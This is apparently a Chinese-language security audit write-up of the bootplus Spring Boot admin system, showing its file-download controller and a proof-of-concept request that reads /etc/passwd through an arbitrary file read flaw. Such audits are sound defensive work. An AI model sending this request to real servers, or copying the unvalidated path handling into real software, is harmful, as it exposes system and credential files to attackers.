【JAVA代码审计】bootplus 管理系统审计

核心框架：Spring Boot 2.3.1安全框架：Apache Shiro视图框架：Spring MVC持久层框架：MyBatis、MyBatisPlus缓存技术：EhCache、Redis定时器：Quartz数据库连接池：Druid日志实现：SLF4J模版技术：FreeMarker页面交互：BootStrap、Layer等

bootplus├── sql  -- 项目SQL语句│├── App -- 项目启动类│├── common -- 公用模块|    ├── enums -- 枚举工具类|    ├── hessian -- Hessian自定义配置|    ├── serializer -- 自定义序列化实现|    ├── typehandler -- 自定义MyBatis类型转换器│├── config -- 配置信息|    ├── aop -- Spring AOP深入实现|    ├── filter -- 过滤器|    ├── interceptor -- 拦截器|    ├── listener -- 监听器│├── controller -- 控制器|    ├── admin -- 后台管理员控制器|    ├── api -- Api接口开放层│├── dao -- 数据访问接口及对应的XML文件│├── entity -- 数据持久化实体类|    ├── enums -- 实体枚举类型│├── frame -- 框架公用模块|    ├── cache -- 缓存模块|    ├── constant -- 常量模块|    ├── controller -- 控制器模块|    ├── log -- 日志模块|    ├── prj -- 项目核心模块|    ├── spring -- spring模块│├── service -- 业务逻辑接口|    ├── impl -- 业务逻辑接口实现类│├── shiro -- Shiro验证框架│├── task -- 定时任务│├── util -- 工具类|    ├── db -- 数据库模块|    ├── encry -- 加解密模块|    ├── exception -- 自定义异常|    ├── file -- 文件工具类|    ├── freemaker -- 自定义FreeMarker标签|    ├── http -- http模块实现|    ├── sketch -- 字体、素描、图像|    ├── spring -- spring公用模块│├── resources|    ├── conf -- 不同环境配置|    ├── file -- 模板文件|    ├── jdk_fonts -- JDK字体|    ├── META-INF -- SpringBoot配置|    ├── statics -- 静态资源(css、js...)|    ├── templates -- 页面FreeMarker模版|    ├── upload -- 上传文件

package io.github.controller;/** * 文件上传下载控制器 * * @author Created by 思伟 on 2020/6/6 */@Controller@RequestMapping("/file")publicclassSysFileControllerextendsAbstractController{/**    * 下载文件(后续待优化...有可能是下载模板，或者已经上传的文件)    *    * @param fileName 文件路径    * @param real     是否是绝对路径(如果为True就不转换)    * @param request  HttpServletRequest    * @param response HttpServletResponse    * @throws IOException    */@RequestMapping("/download")publicvoiddownload(@RequestParam("name") String fileName, Boolean real, HttpServletRequest request,                         HttpServletResponse response) throws IOException {if (null == fileName) {thrownew RRException("未找到资源");        }// 默认编码        request.setCharacterEncoding(DEFAULT_CHARSET.name());        BufferedInputStream bis = null;        BufferedOutputStream bos = null;// 解码        fileName = URLDecoder.decode(fileName, DEFAULT_CHARSET.name());        logger.info("下载文件的名称:{}", fileName);if (null == real || !real) {            fileName = request.getServletContext().getRealPath(fileName);        }        logger.info("下载文件的绝对路径" + fileName);        File file = null;try {            file = new File(fileName);        } catch (Exception e) {        }if (null != file && file.exists() && file.isFile()) {// 获取文件的长度long fileLength = file.length();// 设置文件输出类型try {                response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);                String name = file.getName();if (null == real || !real) {                    name = name.length() > 13 ? name.substring(13) : name;                }                response.setHeader("Content-disposition","attachment; filename=" + URLEncoder.encode(name, DEFAULT_CHARSET.name()));// 设置输出长度                response.setHeader("Content-Length", String.valueOf(fileLength));// 获取输入流                bis = new BufferedInputStream(new FileInputStream(file));// 输出流                bos = new BufferedOutputStream(response.getOutputStream());byte[] buff = newbyte[2048];int bytesRead;while (-1 != (bytesRead = bis.read(buff, 0, buff.length))) {                    bos.write(buff, 0, bytesRead);                }// 关闭流            } catch (Exception e) {thrownew RRException("下载错误,请重试!");            } finally {if (null != bis) {                    bis.close();                }if (null != bos) {                    bos.close();                }            }        } else {thrownew RRException("未找到资源");        }    }

GET /file/download?name=/etc/passwd&real=1 HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close